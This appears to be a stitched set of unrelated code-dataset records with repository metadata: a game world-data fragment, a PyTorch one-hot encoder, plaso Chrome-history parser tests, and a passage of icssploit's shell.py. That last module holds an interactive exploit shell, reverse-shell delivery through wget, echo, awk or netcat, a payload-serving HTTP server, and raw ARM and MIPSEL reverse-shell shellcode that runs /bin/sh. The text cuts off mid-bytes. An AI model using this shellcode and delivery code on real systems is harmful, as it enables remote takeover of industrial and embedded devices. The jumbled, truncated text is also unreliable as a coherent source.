'models/buildings/shanty_tavern_exterior'}},'1158184594.03sdnaik': {'Type': 'Building Exterior','File': 'swamptest_interior_1','ExtUid': '1158184594.03sdnaik0','Hpr': Point3(0.0, 0.0, 0.0),'Pos': Point3(409.067, 155.856, 44.575),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Name': '','Door': 'models/buildings/shanty_guildhall_door','Interior': 'models/buildings/interior_shanty_guildhall','Model': 'models/buildings/english_a'}}},'Pos': Point3(0.0, 0.0, 0.0),'Scale': VBase3(1.0, 1.0, 1.0)},'1155864824.89sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_1','Hpr': VBase3(-18.331, 0.0, 0.0),'Pos': Point3(-219.917, -319.235, 0.595),'Scale': VBase3(1.0, 1.0, 1.0)},'1155864827.11sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_2','Hpr': VBase3(68.97, 0.0, 0.0),'Pos': Point3(-285.103, -58.817, 44.049),'Scale': VBase3(1.0, 1.0, 1.0)},'1156280826.23sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_1','Hpr': VBase3(-18.331, 0.0, 0.0),'Pos': Point3(-219.917, -319.235, 0.595),'Scale': VBase3(1.0, 1.0, 1.0)},'1156280828.67sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_2','Hpr': VBase3(68.97, 0.0, 0.0),'Pos': Point3(-285.103, -58.817, 44.049),'Scale': VBase3(1.0, 1.0, 1.0)},'1156281161.64sdnaik': {'Type': 'Island Game Area','File': 'SwampTemplateC','Hpr': VBase3(-36.598, 0.0, 0.0),'Objects': {'1156281161.64sdnaik0': {'Type': 'Locator Node','Name': 'portal_interior_1','GridPos': Point3(-113.557, -119.557, 123.863),'Hpr': VBase3(81.569, 0.0, 0.0),'Pos': Point3(-383.486, 124.706, 14.047),'Scale': VBase3(1.0, 1.0, 1.0)},'1156302222.63sdnaik': {'Type': 'Locator Node','Name': 'portal_interior_2','GridPos': Point3(-2121.404, -709.755, 122.18),'Hpr': VBase3(135.469, 0.0, 0.0),'Pos': Point3(557.708, 254.891, 12.365),'Scale': VBase3(1.0, 1.0, 1.0)}},'Pos': Point3(-2816.118, 1584.312, 635.326),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/swamps/swampC'}},'1156281363.2sdnaik': {'Type': 'Connector Tunnel','File': '','Hpr': VBase3(-94.487, 0.0, 0.0),'Objects': {'1156281363.2sdnaik0': {'Type': 'Locator Node','Name': 'portal_connector_1','GridPos': Point3(-808.963, -680.48, 73.384),'Hpr': VBase3(-88.748, 0.0, 0.0),'Pos': Point3(-3.613, 0.304, 4.651),'Scale': VBase3(1.0, 1.0, 1.0)},'1156281363.2sdnaik1': {'Type': 'Locator Node','Name': 'portal_connector_2','GridPos': Point3(-684.414, -557.419, 68.431),'Hpr': VBase3(72.65, -1.426, -0.516),'Pos': Point3(-103.188, 135.024, 3.777),'Scale': VBase3(1.0, 1.0, 1.0)}},'Pos': Point3(-2717.734, -50.514, 446.686),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/tunnels/tunnel_swamp'}},'1158184411.67sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_1','Hpr': VBase3(-18.331, 0.0, 0.0),'Pos': Point3(-219.917, -319.235, 0.595),'Scale': VBase3(1.0, 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Python

CloudCast/src/utils/one_hot_encoder.py

holmdk/CloudCast

614ef77f08c5d12832ee5f9ba347f1d3fd67931a

[ "CC0-1.0" ]

2

2021-12-21T03:03:03.000Z

2022-01-16T08:15:13.000Z

CloudCast/src/utils/one_hot_encoder.py

holmdk/CloudCast

614ef77f08c5d12832ee5f9ba347f1d3fd67931a

[ "CC0-1.0" ]

null

CloudCast/src/utils/one_hot_encoder.py

holmdk/CloudCast

614ef77f08c5d12832ee5f9ba347f1d3fd67931a

[ "CC0-1.0" ]

3

2021-04-24T15:14:28.000Z

2021-12-03T17:46:03.000Z

import torch #adapted from http://jacobkimmel.github.io/pytorch_onehot/ def make_one_hot(labels, C=4): ''' Converts an integer label torch.autograd.Variable to a one-hot Variable. Parameters ---------- labels : torch.autograd.Variable of torch.cuda.LongTensor N x 1 x H x W, where N is batch size. Each value is an integer representing correct classification. C : integer. number of classes in labels. Returns ------- target : torch.autograd.Variable of torch.cuda.FloatTensor N x C x H x W, where C is class number. One-hot encoded. ''' one_hot = torch.cuda.FloatTensor(labels.size(0), C, labels.size(1), labels.size(2), labels.size(3)).zero_() return one_hot.scatter_(1, labels.data.unsqueeze(1), 1) def make_one_hot_reduced(labels, C=4): ''' Converts an integer label torch.autograd.Variable to a one-hot Variable. Parameters ---------- labels : torch.autograd.Variable of torch.cuda.LongTensor N x 1 x H x W, where N is batch size. Each value is an integer representing correct classification. C : integer. number of classes in labels. Returns ------- target : torch.autograd.Variable of torch.cuda.FloatTensor N x C x H x W, where C is class number. One-hot encoded. ''' one_hot = torch.FloatTensor(C, labels.size(0), labels.size(1)).zero_() return one_hot.scatter_(0, labels.long().data.unsqueeze(0), 1)

30.117647

113

0.633464

221

1,536

4.339367

0.276018

0.062565

0.131387

0.095933

0.757039

0.709072

0

0.013974

0.254557

1,536

50

114

30.72

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1

0.285714

false

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0.142857

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0.714286

0

null

0

1

0

null

0

1

0

1

0

7

d225b917b80e8b3a508a5c0294a48a7ddcfa40fa

10,269

py

Python

tests/parsers/sqlite_plugins/chrome.py

nnyx7/plaso

9b05ad200acc7f5ad1fae9788ff8409fea8af2f8

[ "Apache-2.0" ]

null

tests/parsers/sqlite_plugins/chrome.py

nnyx7/plaso

9b05ad200acc7f5ad1fae9788ff8409fea8af2f8

[ "Apache-2.0" ]

null

tests/parsers/sqlite_plugins/chrome.py

nnyx7/plaso

9b05ad200acc7f5ad1fae9788ff8409fea8af2f8

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """Tests for the Google Chrome History database plugin.""" from __future__ import unicode_literals import unittest from plaso.formatters import chrome as _ # pylint: disable=unused-import from plaso.lib import definitions from plaso.parsers.sqlite_plugins import chrome from tests.parsers.sqlite_plugins import test_lib class GoogleChrome8HistoryPluginTest(test_lib.SQLitePluginTestCase): """Tests for the Google Chrome 8 history SQLite database plugin.""" def testProcess(self): """Tests the Process function on a Chrome History database file.""" plugin = chrome.GoogleChrome8HistoryPlugin() storage_writer = self._ParseDatabaseFileWithPlugin( ['History'], plugin) self.assertEqual(storage_writer.number_of_warnings, 0) # The History file contains 71 events (69 page visits, 1 file downloads). self.assertEqual(storage_writer.number_of_events, 71) events = list(storage_writer.GetEvents()) # Check the first page visited entry. event = events[0] self.CheckTimestamp(event.timestamp, '2011-04-07 12:03:11.000000') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_LAST_VISITED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = 'http://start.ubuntu.com/10.04/Google/' self.assertEqual(event_data.url, expected_url) expected_title = 'Ubuntu Start Page' self.assertEqual(event_data.title, expected_title) expected_message = ( '{0:s} ({1:s}) [count: 0] ' 'Visit Source: [SOURCE_FIREFOX_IMPORTED] Type: [LINK - User clicked ' 'a link] (URL not typed directly - no typed count)').format( expected_url, expected_title) expected_short_message = '{0:s} ({1:s})'.format( expected_url, expected_title) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) # Check the first file downloaded entry. event = events[69] self.CheckTimestamp(event.timestamp, '2011-05-23 08:35:30.000000') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_FILE_DOWNLOADED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'http://fatloss4idiotsx.com/download/funcats/' 'funcats_scr.exe') self.assertEqual(event_data.url, expected_url) expected_full_path = '/home/john/Downloads/funcats_scr.exe' self.assertEqual(event_data.full_path, expected_full_path) expected_message = ( '{0:s} ({1:s}). ' 'Received: 1132155 bytes out of: ' '1132155 bytes.').format(expected_url, expected_full_path) expected_short_message = '{0:s} downloaded (1132155 bytes)'.format( expected_full_path) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) class GoogleChrome27HistoryPluginTest(test_lib.SQLitePluginTestCase): """Tests for the Google Chrome 27 history SQLite database plugin.""" def testProcess57(self): """Tests the Process function on a Google Chrome 57 History database.""" plugin = chrome.GoogleChrome27HistoryPlugin() storage_writer = self._ParseDatabaseFileWithPlugin( ['History-57.0.2987.133'], plugin) self.assertEqual(storage_writer.number_of_warnings, 0) # The History file contains 2 events (1 page visits, 1 file downloads). self.assertEqual(storage_writer.number_of_events, 2) events = list(storage_writer.GetEvents()) # Check the page visit event. event = events[0] self.CheckTimestamp(event.timestamp, '2018-01-21 14:09:53.885478') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_LAST_VISITED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/dfirlabs/chrome-specimens/master/' 'generate-specimens.sh') self.assertEqual(event_data.url, expected_url) expected_title = '' self.assertEqual(event_data.title, expected_title) expected_message = ( '{0:s} ' '[count: 0] ' 'Type: [START_PAGE - The start page of the browser] ' '(URL not typed directly - no typed count)').format(expected_url) expected_short_message = '{0:s}...'.format(expected_url[:77]) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) # Check the file downloaded event. event = events[1] self.CheckTimestamp(event.timestamp, '2018-01-21 14:09:53.900399') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_FILE_DOWNLOADED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/log2timeline/l2tbinaries/master/' 'win32/plaso-20171231.1.win32.msi') self.assertEqual(event_data.url, expected_url) expected_full_path = '/home/ubuntu/Downloads/plaso-20171231.1.win32.msi' self.assertEqual(event_data.full_path, expected_full_path) expected_message = ( '{0:s} ({1:s}). ' 'Received: 3080192 bytes out of: 3080192 bytes.').format( expected_url, expected_full_path) expected_short_message = '{0:s} downloaded (3080192 bytes)'.format( expected_full_path) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) def testProcess58(self): """Tests the Process function on a Google Chrome 58 History database.""" plugin = chrome.GoogleChrome27HistoryPlugin() storage_writer = self._ParseDatabaseFileWithPlugin( ['History-58.0.3029.96'], plugin) self.assertEqual(storage_writer.number_of_warnings, 0) # The History file contains 2 events (1 page visits, 1 file downloads). self.assertEqual(storage_writer.number_of_events, 2) events = list(storage_writer.GetEvents()) # Check the page visit event. event = events[0] self.CheckTimestamp(event.timestamp, '2018-01-21 14:09:27.315765') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_LAST_VISITED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/dfirlabs/chrome-specimens/master/' 'generate-specimens.sh') self.assertEqual(event_data.url, expected_url) expected_title = '' self.assertEqual(event.title, expected_title) expected_message = ( '{0:s} ' '[count: 0] ' 'Type: [START_PAGE - The start page of the browser] ' '(URL not typed directly - no typed count)').format(expected_url) expected_short_message = '{0:s}...'.format(expected_url[:77]) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) # Check the file downloaded event. event = events[1] self.CheckTimestamp(event.timestamp, '2018-01-21 14:09:27.200398') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_FILE_DOWNLOADED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/log2timeline/l2tbinaries/master/' 'win32/plaso-20171231.1.win32.msi') self.assertEqual(event_data.url, expected_url) expected_full_path = '/home/ubuntu/Downloads/plaso-20171231.1.win32.msi' self.assertEqual(event_data.full_path, expected_full_path) expected_message = ( '{0:s} ({1:s}). ' 'Received: 3080192 bytes out of: 3080192 bytes.').format( expected_url, expected_full_path) expected_short_message = '{0:s} downloaded (3080192 bytes)'.format( expected_full_path) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) def testProcess59(self): """Tests the Process function on a Google Chrome 59 History database.""" plugin = chrome.GoogleChrome27HistoryPlugin() storage_writer = self._ParseDatabaseFileWithPlugin( ['History-59.0.3071.86'], plugin) self.assertEqual(storage_writer.number_of_warnings, 0) # The History file contains 2 events (1 page visits, 1 file downloads). self.assertEqual(storage_writer.number_of_events, 2) events = list(storage_writer.GetEvents()) # Check the page visit event. event = events[0] self.CheckTimestamp(event.timestamp, '2018-01-21 14:08:52.037692') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_LAST_VISITED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/dfirlabs/chrome-specimens/master/' 'generate-specimens.sh') self.assertEqual(event_data.url, expected_url) expected_title = '' self.assertEqual(event_data.title, expected_title) expected_message = ( '{0:s} ' '[count: 0] ' 'Type: [START_PAGE - The start page of the browser] ' '(URL not typed directly - no typed count)').format(expected_url) expected_short_message = '{0:s}...'.format(expected_url[:77]) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) # Check the file downloaded event. event = events[1] self.CheckTimestamp(event.timestamp, '2018-01-21 14:08:51.811123') self.assertEqual( event.timestamp_desc, definitions.TIME_DESCRIPTION_FILE_DOWNLOADED) event_data = self._GetEventDataOfEvent(storage_writer, event) expected_url = ( 'https://raw.githubusercontent.com/log2timeline/l2tbinaries/master/' 'win32/plaso-20171231.1.win32.msi') self.assertEqual(event_data.url, expected_url) expected_full_path = '/home/ubuntu/Downloads/plaso-20171231.1.win32.msi' self.assertEqual(event_data.full_path, expected_full_path) expected_message = ( '{0:s} ({1:s}). ' 'Received: 3080192 bytes out of: 3080192 bytes.').format( expected_url, expected_full_path) expected_short_message = '{0:s} downloaded (3080192 bytes)'.format( expected_full_path) self._TestGetMessageStrings( event_data, expected_message, expected_short_message) if __name__ == '__main__': unittest.main()

37.072202

77

0.711656

1,228

10,269

5.730456

0.144137

0.068211

0.051158

0.884468

0.851357

0.851073

0.831178

0.816967

0.789541

0

0.053007

0.180641

10,269

276

78

37.206522

0.783337

0.102639

0

0.777778

0

0.219858

0.042335

0

0.169312

1

0.021164

false

0

0.037037

0

0.068783

0

null

0

1

0

1

0

null

0

7

d271fcee0a3dd8fde9814b03fdd7230d51ece964

24,539

py

Python

icssploit/shell.py

tijldeneut/icssploit

e9c6c49fe69d0302b51021f476422dc5940d09bc

[ "BSD-2-Clause" ]

20

2021-01-16T13:36:22.000Z

2022-03-23T08:00:41.000Z

icssploit/shell.py

tijldeneut/icssploit

e9c6c49fe69d0302b51021f476422dc5940d09bc

[ "BSD-2-Clause" ]

null

icssploit/shell.py

tijldeneut/icssploit

e9c6c49fe69d0302b51021f476422dc5940d09bc

[ "BSD-2-Clause" ]

7

2021-01-18T18:46:49.000Z

2021-09-10T06:37:49.000Z

import socket import telnetlib import http.server import threading from .printer import printer_queue from icssploit.utils import ( print_info, print_error, print_success, print_status, random_text, ) def shell(exploit, architecture="", method="", **params): while 1: while not printer_queue.empty(): pass cmd = raw_input("cmd > ") if cmd in ["quit", "exit"]: return c = cmd.split() if len(c) and c[0] == "reverse_tcp": if len(c) == 3: lhost = c[1] lport = c[2] revshell = reverse_shell(exploit, architecture, lhost, lport) if method == "wget": revshell.wget(binary=params['binary'], location=params['location']) elif method == "echo": revshell.echo(binary=params['binary'], location=params['location']) elif method == "awk": revshell.awk(binary=params['binary']) elif method == "netcat": revshell.netcat(binary=params['binary'], shell=params['shell']) else: print_error("Reverse shell is not available") else: print_error("reverse_tcp <reverse ip> <port>") else: print_info(exploit.execute(cmd)) class HttpRequestHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(self.server.content) self.server.stop = True def log_message(self, format, *args): return class HttpServer(http.server.HTTPServer): def serve_forever(self, content): self.stop = False self.content = content while not self.stop: self.handle_request() class reverse_shell(object): arm = ( # elf binary "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00" "\x00\x00\x74\x80\x00\x00\x34\x00\x00\x00\x70\x01\x00\x00\x02\x02\x00\x05\x34\x00\x20\x00" "\x02\x00\x28\x00\x07\x00\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80" "\x00\x00\x18\x01\x00\x00\x18\x01\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00" "\x18\x01\x00\x00\x18\x01\x01\x00\x18\x01\x01\x00\x0b\x00\x00\x00\x0b\x00\x00\x00\x06\x00" "\x00\x00\x00\x80\x00\x00" # <_start>: "\x84\x70\x9f\xe5" # ldr r7, [pc, #132] "\x02\x00\xa0\xe3" # mov r0, #2 "\x01\x10\xa0\xe3" # mov r1, #1 "\x00\x20\xa0\xe3" # mov r2, #0 "\x00\x00\x00\xef" # svc 0x00000000 "\x00\x60\xa0\xe1" # mov r6, r0 "\x70\x50\x9f\xe5" # ldr r5, [pc, #112] ; 8104 <loop+0x50> "\x04\x50\x2d\xe5" # push {r5} ; (str r5, [sp, #-4]!) "\x6c\x50\x9f\xe5" # ldr r5, [pc, #108] ; 8108 <loop+0x54> "\x04\x50\x2d\xe5" # push {r5} ; (str r5, [sp, #-4]!) "\x0d\x10\xa0\xe1" # mov r1, sp "\x10\x20\xa0\xe3" # mov r2, #16 "\x60\x70\x9f\xe5" # ldr r7, [pc, #96] ; 810c <loop+0x58> "\x00\x00\x00\xef" # svc 0x00000000 "\x06\x00\xa0\xe1" # mov r0, r6 "\x03\x10\xa0\xe3" # mov r1, #3 # <loop>: "\x01\x10\x51\xe2" # subs r1, r1, #1 "\x3f\x70\xa0\xe3" # mov r7, #63 ; 0x3f "\x00\x00\x00\xef" # svc 0x00000000 "\xfb\xff\xff\x1a" # bne 80b4 <loop> "\x44\x00\x9f\xe5" # ldr r0, [pc, #68] ; 8110 <loop+0x5c> "\x00\x10\xa0\xe1" # mov r1, r0 "\x02\x20\x22\xe0" # eor r2, r2, r2 "\x04\x20\x2d\xe5" # push {r2} ; (str r2, [sp, #-4]!) "\x38\x10\x9f\xe5" # ldr r1, [pc, #56] ; 8114 <loop+0x60> "\x04\x10\x2d\xe5" # push {r1} ; (str r1, [sp, #-4]!) "\x0d\x10\xa0\xe1" # mov r1, sp "\x0b\x70\xa0\xe3" # mov r7, #11 "\x00\x00\x00\xef" # svc 0x00000000 "\x00\x00\xa0\xe3" # mov r0, #0 "\x01\x70\xa0\xe3" # mov r7, #1 "\x00\x00\x00\xef" # svc 0x00000000 "\x01\x70\xa0\xe3" # mov r7, #1 "\x00\x00\xa0\xe3" # mov r0, #0 "\x00\x00\x00\xef" # svc 0x00000000 "\x19\x01\x00\x00" # .word 0x00000119 "\x7f\x00\x00\x01" # .word 0x0100007f "\x02\x00\x11\x5c" # .word 0x5c110002 "\x1b\x01\x00\x00" # .word 0x0000011b "\x18\x01\x01\x00" # .word 0x00010118 "\x20\x01\x01\x00" # .word 0x00010120 # elf binary "\x2f\x62\x69\x6e\x2f\x73\x68\x00\x73\x68\x00\x41\x13\x00\x00\x00\x61\x65\x61\x62\x69\x00" "\x01\x09\x00\x00\x00\x06\x01\x08\x01\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72" "\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x64" "\x61\x74\x61\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75\x74\x65\x73\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00" "\x01\x00\x00\x00\x06\x00\x00\x00\x74\x80\x00\x00\x74\x00\x00\x00\xa4\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x01\x00\x00\x00" "\x03\x00\x00\x00\x18\x01\x01\x00\x18\x01\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x27\x00\x00\x00\x03\x00\x00\x70\x00\x00\x00\x00" "\x00\x00\x00\x00\x23\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" "\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x37\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x02\x00\x00" "\x40\x01\x00\x00\x06\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00" "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x03\x00\x00\x70\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x74\x80\x00\x00\x00\x00\x00\x00" "\x03\x00\x01\x00\x00\x00\x00\x00\x18\x01\x01\x00\x00\x00\x00\x00\x03\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x04\x00\xf1\xff\x0f\x00\x00\x00\x18\x01\x01\x00\x00\x00\x00\x00\x00\x00" "\x02\x00\x16\x00\x00\x00\x20\x01\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x19\x00\x00\x00" "\x74\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x1c\x00\x00\x00\xb4\x80\x00\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x21\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xf1\xff\x21\x00\x00\x00\x18\x01" "\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x24\x00\x00\x00\x23\x01\x01\x00\x00\x00\x00\x00" "\x10\x00\x02\x00\x2f\x00\x00\x00\x23\x01\x01\x00\x00\x00\x00\x00\x10\x00\x02\x00\x3d\x00" "\x00\x00\x23\x01\x01\x00\x00\x00\x00\x00\x10\x00\x02\x00\x49\x00\x00\x00\x74\x80\x00\x00" "\x00\x00\x00\x00\x10\x00\x01\x00\x50\x00\x00\x00\x23\x01\x01\x00\x00\x00\x00\x00\x10\x00" "\x02\x00\x5c\x00\x00\x00\x24\x01\x01\x00\x00\x00\x00\x00\x10\x00\x02\x00\x64\x00\x00\x00" "\x23\x01\x01\x00\x00\x00\x00\x00\x10\x00\x02\x00\x6b\x00\x00\x00\x24\x01\x01\x00\x00\x00" "\x00\x00\x10\x00\x02\x00\x00\x72\x65\x76\x65\x72\x73\x65\x5f\x74\x63\x70\x2e\x6f\x00\x62" "\x69\x6e\x61\x72\x79\x00\x73\x68\x00\x24\x61\x00\x6c\x6f\x6f\x70\x00\x24\x64\x00\x5f\x62" "\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f" "\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f" "\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61" "\x74\x61\x00\x5f\x65\x6e\x64\x00" ) mipsel = ( # elf binary "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x01\x00" "\x00\x00\x90\x00\x40\x00\x34\x00\x00\x00\x8c\x01\x00\x00\x00\x10\x00\x50\x34\x00\x20\x00" "\x02\x00\x28\x00\x06\x00\x03\x00\x00\x00\x00\x70\x74\x00\x00\x00\x74\x00\x40\x00\x74\x00" "\x40\x00\x18\x00\x00\x00\x18\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x40\x00\x60\x01\x00\x00\x60\x01\x00\x00\x05\x00" "\x00\x00\x00\x00\x01\x00\xf4\x11\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x50\x81\x41\x00\x00\x00\x00\x00" # <_ftext>: "\xff\xff\x04\x28" # slti a0,zero,-1 "\xa6\x0f\x02\x24" # li v0,4006 "\x0c\x09\x09\x01" # syscall 0x42424 "\x11\x11\x04\x28" # slti a0,zero,4369 "\xa6\x0f\x02\x24" # li v0,4006 "\x0c\x09\x09\x01" # syscall 0x42424 "\xfd\xff\x0c\x24" # li t4,-3 "\x27\x20\x80\x01" # nor a0,t4,zero "\xa6\x0f\x02\x24" # li v0,4006 "\x0c\x09\x09\x01" # syscall 0x42424 "\xfd\xff\x0c\x24" # li t4,-3 "\x27\x20\x80\x01" # nor a0,t4,zero "\x27\x28\x80\x01" # nor a1,t4,zero "\xff\xff\x06\x28" # slti a2,zero,-1 "\x57\x10\x02\x24" # li v0,4183 "\x0c\x09\x09\x01" # syscall 0x42424 "\xff\xff\x44\x30" # andi a0,v0,0xffff "\xc9\x0f\x02\x24" # li v0,4041 "\x0c\x09\x09\x01" # syscall 0x42424 "\xc9\x0f\x02\x24" # li v0,4041 "\x0c\x09\x09\x01" # syscall 0x42424 "\x7a\x69\x05\x3c" # lui a1,0x697a "\x02\x00\xa5\x34" # ori a1,a1,0x2 "\xf8\xff\xa5\xaf" # sw a1,-8(sp) "\x00\x01\x05\x3c" # lui a1,0x100 "\x7f\x00\xa5\x34" # ori a1,a1,0x7f "\xfc\xff\xa5\xaf" # sw a1,-4(sp) "\xf8\xff\xa5\x23" # addi a1,sp,-8 "\xef\xff\x0c\x24" # li t4,-17 "\x27\x30\x80\x01" # nor a2,t4,zero "\x4a\x10\x02\x24" # li v0,4170 "\x0c\x09\x09\x01" # syscall 0x42424 "\x62\x69\x08\x3c" # lui t0,0x6962 "\x2f\x2f\x08\x35" # ori t0,t0,0x2f2f "\xec\xff\xa8\xaf" # sw t0,-20(sp) "\x73\x68\x08\x3c" # lui t0,0x6873 "\x6e\x2f\x08\x35" # ori t0,t0,0x2f6e "\xf0\xff\xa8\xaf" # sw t0,-16(sp) "\xff\xff\x07\x28" # slti a3,zero,-1 "\xf4\xff\xa7\xaf" # sw a3,-12(sp) "\xfc\xff\xa7\xaf" # sw a3,-4(sp) "\xec\xff\xa4\x23" # addi a0,sp,-20 "\xec\xff\xa8\x23" # addi t0,sp,-20 "\xf8\xff\xa8\xaf" # sw t0,-8(sp) "\xf8\xff\xa5\x23" # addi a1,sp,-8 "\xec\xff\xbd\x27" # addiu sp,sp,-20 "\xff\xff\x06\x28" # slti a2,zero,-1 "\xab\x0f\x02\x24" # li v0,4011 "\x0c\x09\x09\x01" # syscall 0x42424 # elf binary "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e" "\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x72\x65\x67\x69" "\x6e\x66\x6f\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x06\x00\x00\x70\x02\x00\x00\x00\x74\x00" "\x40\x00\x74\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" "\x18\x00\x00\x00\x24\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x90\x00\x40\x00\x90\x00" "\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00" "\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x2a\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7c\x02\x00\x00\xc0\x00\x00\x00\x05\x00" "\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x03\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x74\x00\x40\x00\x00\x00\x00\x00\x03\x00\x01\x00\x00\x00" "\x00\x00\x90\x00\x40\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00\x60\x01\x41\x00" "\x00\x00\x00\x00\x10\x00\x02\x00\x08\x00\x00\x00\x50\x81\x41\x00\x00\x00\x00\x00\x10\x00" 